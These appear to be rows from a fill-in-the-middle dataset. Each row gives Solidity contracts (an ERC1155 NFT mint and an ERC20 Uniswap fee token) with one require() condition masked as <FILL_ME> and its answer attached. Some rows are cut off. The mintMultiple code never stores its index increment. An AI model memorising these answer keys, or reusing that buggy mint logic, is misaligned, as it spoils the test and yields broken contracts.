let result := delegatecall(sub(gas, fwdGasLimit), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
// revert instead of invalid() bc if the underlying call failed with invalid() it already wasted gas.
// if the call returned error data, forward it
switch result case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
| isContract(_dst) | 79,609 | isContract(_dst) |
"Not enough NFTs left to reserve" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./common/ContextMixin.sol";
contract Furbeez is ERC1155, IERC2981, Ownable, Pausable, ContextMixin {
using Strings for uint256;
mapping(uint256 => mapping(address => uint256)) private _balances;
uint256 public constant MAX_ID_PLUS_ONE = 10001;
uint256 public constant MINT_SINGLE_PRICE = 0.02 ether;
uint256 public constant MINT_MULTIPLE_PRICE = 0.01 ether;
uint256 public currentIndex = 1;
address private _owner;
string public constant name = "Furbeez";
string public constant symbol = "FBZ";
string public constant baseURI = "ipfs://bafybeiathbslfrtpv2wj5qxhnqerevkpnzsblk7z7iy3paqrwfnokxy37q/";
constructor() ERC1155("") {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function mint() external payable {
}
function mintMultiple(uint256 quantity) external payable {
uint256 _currentIndex = currentIndex;
require(quantity > 4 && quantity < 21, "Incorrect quantity");
require(_currentIndex < MAX_ID_PLUS_ONE);
require(<FILL_ME>)
require(msg.value >= MINT_MULTIPLE_PRICE * quantity, "Not enough ether");
require(msg.sender == tx.origin, "No smart contracts");
uint256[] memory _amounts = new uint256[](quantity);
uint256[] memory _ids = new uint256[](quantity);
for (uint i = 0; i < quantity; i++) {
_ids[i] = _currentIndex + i;
_amounts[i] = 1;
}
unchecked {
_currentIndex + quantity;
}
currentIndex = _currentIndex;
_mintBatch(msg.sender, _ids, _amounts, "");
}
function reserve() public onlyOwner {
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override
{
}
function uri(uint256 id) public view virtual override returns(string memory) {
}
function totalSupply() public view returns (uint256 _currentIndex) {
}
/** @dev EIP2981 royalties implementation. */
// Maintain flexibility to modify royalties recipient (could also add basis points).
function _setRoyalties(address newRecipient) internal {
}
function setRoyalties(address newRecipient) external onlyOwner {
}
// EIP2981 standard royalties return.
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view override
returns (address receiver, uint256 royaltyAmount)
{
}
// EIP2981 standard Interface return. Adds to ERC1155 and ERC165 Interface returns.
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC1155, IERC165)
returns (bool)
{
}
/** @dev Meta-transactions override for OpenSea. */
function _msgSender() internal override view returns (address) {
}
/** @dev Contract-level metadata for OpenSea. */
// Update for collection-specific metadata.
function contractURI() public pure returns (string memory) {
}
function withdraw() external onlyOwner {
}
}
| _currentIndex+quantity<MAX_ID_PLUS_ONE,"Not enough NFTs left to reserve" | 79,750 | _currentIndex+quantity<MAX_ID_PLUS_ONE |
"Not enough NFTs left to reserve" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./common/ContextMixin.sol";
contract Furbeez is ERC1155, IERC2981, Ownable, Pausable, ContextMixin {
using Strings for uint256;
mapping(uint256 => mapping(address => uint256)) private _balances;
uint256 public constant MAX_ID_PLUS_ONE = 10001;
uint256 public constant MINT_SINGLE_PRICE = 0.02 ether;
uint256 public constant MINT_MULTIPLE_PRICE = 0.01 ether;
uint256 public currentIndex = 1;
address private _owner;
string public constant name = "Furbeez";
string public constant symbol = "FBZ";
string public constant baseURI = "ipfs://bafybeiathbslfrtpv2wj5qxhnqerevkpnzsblk7z7iy3paqrwfnokxy37q/";
constructor() ERC1155("") {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function mint() external payable {
}
function mintMultiple(uint256 quantity) external payable {
}
function reserve() public onlyOwner {
uint256 _currentIndex = currentIndex;
require(<FILL_ME>)
uint256[] memory _amounts = new uint256[](100);
uint256[] memory _ids = new uint256[](100);
for (uint i = 0; i < 100; i++) {
_ids[i] = _currentIndex;
_amounts[i] = 1;
unchecked {
_currentIndex++;
}
}
currentIndex = _currentIndex;
_mintBatch(_owner, _ids, _amounts, "");
}
function _beforeTokenTransfer(address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data)
internal
whenNotPaused
override
{
}
function uri(uint256 id) public view virtual override returns(string memory) {
}
function totalSupply() public view returns (uint256 _currentIndex) {
}
/** @dev EIP2981 royalties implementation. */
// Maintain flexibility to modify royalties recipient (could also add basis points).
function _setRoyalties(address newRecipient) internal {
}
function setRoyalties(address newRecipient) external onlyOwner {
}
// EIP2981 standard royalties return.
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view override
returns (address receiver, uint256 royaltyAmount)
{
}
// EIP2981 standard Interface return. Adds to ERC1155 and ERC165 Interface returns.
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC1155, IERC165)
returns (bool)
{
}
/** @dev Meta-transactions override for OpenSea. */
function _msgSender() internal override view returns (address) {
}
/** @dev Contract-level metadata for OpenSea. */
// Update for collection-specific metadata.
function contractURI() public pure returns (string memory) {
}
function withdraw() external onlyOwner {
}
}
| _currentIndex+100<MAX_ID_PLUS_ONE,"Not enough NFTs left to reserve" | 79,750 | _currentIndex+100<MAX_ID_PLUS_ONE |
"Trading is not enabled yet" | /**
website: https://moonface.care
twitter: https://twitter.com/Moonfaceerc
telegram: https://t.me/MOONFACEPORTAL
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _init(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Moonface is ERC20, Ownable {
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => bool) private _isExcludedFromFees;
uint256 public tradingActiveTime;
uint256 private buyFee;
uint256 private sellFee;
address public marketingWallet;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
bool public tradingEnabled;
uint256 public swapTokensAtAmount;
bool public swapWithLimit;
bool private swapping;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludedFromMaxTransactionLimit(address indexed account, bool isExcluded);
event ExcludedFromMaxWalletLimit(address indexed account, bool isExcluded);
event MaxWalletLimitAmountChanged(uint256 maxWalletLimitRate);
event MaxWalletLimitStateChanged(bool maxWalletLimit);
event MaxTransactionLimitAmountChanged(uint256 maxTransferRate);
event MaxTransactionLimitStateChanged(bool maxTransactionLimit);
event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
event SwapWithLimitUpdated(bool swapWithLimit);
constructor () ERC20("Moonface", "MOONFACE")
{
}
receive() external payable {
}
function enableTrading() public onlyOwner{
}
function claimStuckTokens(address token) external onlyOwner {
}
function getBuyFee() public view returns (uint256) {
}
function getSellFee() public view returns (uint256) {
}
function excludeFromFees(address account, bool excluded) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function changeMarketingWallet(address _marketingWallet) external onlyOwner {
}
function _transfer(address from,address to,uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(<FILL_ME>)
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (maxTransactionLimitEnabled)
{
if ((from == uniswapV2Pair || to == uniswapV2Pair) &&
_isExcludedFromMaxTxLimit[from] == false &&
_isExcludedFromMaxTxLimit[to] == false)
{
require(amount <= maxTransactionAmount, "AntiWhale: Transfer amount exceeds the maxTransactionAmount");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap &&
!swapping &&
to == uniswapV2Pair
) {
swapping = true;
if (swapWithLimit) {
contractTokenBalance = swapTokensAtAmount;
}
swap(contractTokenBalance);
swapping = false;
}
uint256 _totalFees;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) {
_totalFees = 0;
}else if (from == uniswapV2Pair) {
_totalFees = getBuyFee();
}else if (to == uniswapV2Pair) {
_totalFees = getSellFee();
}else {
_totalFees = 0;
}
if (_totalFees > 0) {
uint256 fees = (amount * _totalFees) / 100;
amount = amount - fees;
super._transfer(from, address(this), fees);
}
if (maxWalletLimitEnabled) {
if (_isExcludedFromMaxWalletLimit[from] == false &&
_isExcludedFromMaxWalletLimit[to] == false &&
to != uniswapV2Pair
) {
uint balance = balanceOf(to);
require(
balance + amount <= maxWalletAmount,
"MaxWallet: Recipient exceeds the maxWalletAmount"
);
}
}
super._transfer(from, to, amount);
}
function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner{
}
function setSwapWithLimit(bool _swapWithLimit) external onlyOwner{
}
function swap(uint256 tokenAmount) private {
}
//=======MaxWallet=======//
mapping(address => bool) private _isExcludedFromMaxWalletLimit;
bool public maxWalletLimitEnabled = true;
uint256 public maxWalletAmount;
function setEnableMaxWalletLimit(bool enable) external onlyOwner {
}
function setMaxWalletAmount(uint256 _maxWalletAmount) external onlyOwner {
}
function setExcludeFromMaxWallet(address account, bool exclude) external onlyOwner {
}
function isExcludedFromMaxWalletLimit(address account) public view returns(bool) {
}
//=======MaxTransaction=======//
mapping(address => bool) private _isExcludedFromMaxTxLimit;
bool public maxTransactionLimitEnabled = true;
uint256 public maxTransactionAmount;
function setEnableMaxTransactionLimit(bool enable) external onlyOwner {
}
function setMaxTransactionAmount(uint256 _maxTransactionAmount) external onlyOwner {
}
function setExcludeFromMaxTransactionLimit(address account, bool exclude) external onlyOwner {
}
function isExcludedFromMaxTransaction(address account) public view returns(bool) {
}
}
| tradingEnabled||_isExcludedFromFees[from]||_isExcludedFromFees[to],"Trading is not enabled yet" | 79,784 | tradingEnabled||_isExcludedFromFees[from]||_isExcludedFromFees[to] |
"MaxWallet: Recipient exceeds the maxWalletAmount" | /**
website: https://moonface.care
twitter: https://twitter.com/Moonfaceerc
telegram: https://t.me/MOONFACEPORTAL
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _init(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract Moonface is ERC20, Ownable {
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
mapping (address => bool) private _isExcludedFromFees;
uint256 public tradingActiveTime;
uint256 private buyFee;
uint256 private sellFee;
address public marketingWallet;
address private DEAD = 0x000000000000000000000000000000000000dEaD;
bool public tradingEnabled;
uint256 public swapTokensAtAmount;
bool public swapWithLimit;
bool private swapping;
event ExcludeFromFees(address indexed account, bool isExcluded);
event ExcludedFromMaxTransactionLimit(address indexed account, bool isExcluded);
event ExcludedFromMaxWalletLimit(address indexed account, bool isExcluded);
event MaxWalletLimitAmountChanged(uint256 maxWalletLimitRate);
event MaxWalletLimitStateChanged(bool maxWalletLimit);
event MaxTransactionLimitAmountChanged(uint256 maxTransferRate);
event MaxTransactionLimitStateChanged(bool maxTransactionLimit);
event SwapTokensAtAmountUpdated(uint256 swapTokensAtAmount);
event SwapAndSend(uint256 tokensSwapped, uint256 valueReceived);
event SwapWithLimitUpdated(bool swapWithLimit);
constructor () ERC20("Moonface", "MOONFACE")
{
}
receive() external payable {
}
function enableTrading() public onlyOwner{
}
function claimStuckTokens(address token) external onlyOwner {
}
function getBuyFee() public view returns (uint256) {
}
function getSellFee() public view returns (uint256) {
}
function excludeFromFees(address account, bool excluded) external onlyOwner{
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function changeMarketingWallet(address _marketingWallet) external onlyOwner {
}
function _transfer(address from,address to,uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(tradingEnabled || _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not enabled yet");
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (maxTransactionLimitEnabled)
{
if ((from == uniswapV2Pair || to == uniswapV2Pair) &&
_isExcludedFromMaxTxLimit[from] == false &&
_isExcludedFromMaxTxLimit[to] == false)
{
require(amount <= maxTransactionAmount, "AntiWhale: Transfer amount exceeds the maxTransactionAmount");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap &&
!swapping &&
to == uniswapV2Pair
) {
swapping = true;
if (swapWithLimit) {
contractTokenBalance = swapTokensAtAmount;
}
swap(contractTokenBalance);
swapping = false;
}
uint256 _totalFees;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to] || swapping) {
_totalFees = 0;
}else if (from == uniswapV2Pair) {
_totalFees = getBuyFee();
}else if (to == uniswapV2Pair) {
_totalFees = getSellFee();
}else {
_totalFees = 0;
}
if (_totalFees > 0) {
uint256 fees = (amount * _totalFees) / 100;
amount = amount - fees;
super._transfer(from, address(this), fees);
}
if (maxWalletLimitEnabled) {
if (_isExcludedFromMaxWalletLimit[from] == false &&
_isExcludedFromMaxWalletLimit[to] == false &&
to != uniswapV2Pair
) {
uint balance = balanceOf(to);
require(<FILL_ME>)
}
}
super._transfer(from, to, amount);
}
function setSwapTokensAtAmount(uint256 newAmount) external onlyOwner{
}
function setSwapWithLimit(bool _swapWithLimit) external onlyOwner{
}
function swap(uint256 tokenAmount) private {
}
//=======MaxWallet=======//
mapping(address => bool) private _isExcludedFromMaxWalletLimit;
bool public maxWalletLimitEnabled = true;
uint256 public maxWalletAmount;
function setEnableMaxWalletLimit(bool enable) external onlyOwner {
}
function setMaxWalletAmount(uint256 _maxWalletAmount) external onlyOwner {
}
function setExcludeFromMaxWallet(address account, bool exclude) external onlyOwner {
}
function isExcludedFromMaxWalletLimit(address account) public view returns(bool) {
}
//=======MaxTransaction=======//
mapping(address => bool) private _isExcludedFromMaxTxLimit;
bool public maxTransactionLimitEnabled = true;
uint256 public maxTransactionAmount;
function setEnableMaxTransactionLimit(bool enable) external onlyOwner {
}
function setMaxTransactionAmount(uint256 _maxTransactionAmount) external onlyOwner {
}
function setExcludeFromMaxTransactionLimit(address account, bool exclude) external onlyOwner {
}
function isExcludedFromMaxTransaction(address account) public view returns(bool) {
}
}
| balance+amount<=maxWalletAmount,"MaxWallet: Recipient exceeds the maxWalletAmount" | 79,784 | balance+amount<=maxWalletAmount |
"Max wallet percentage cannot be lower than 1%" | /**
website: https://moonface.care
twitter: https://twitter.com/Moonfaceerc
telegram: https://t.me/MOONFACEPORTAL
**/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
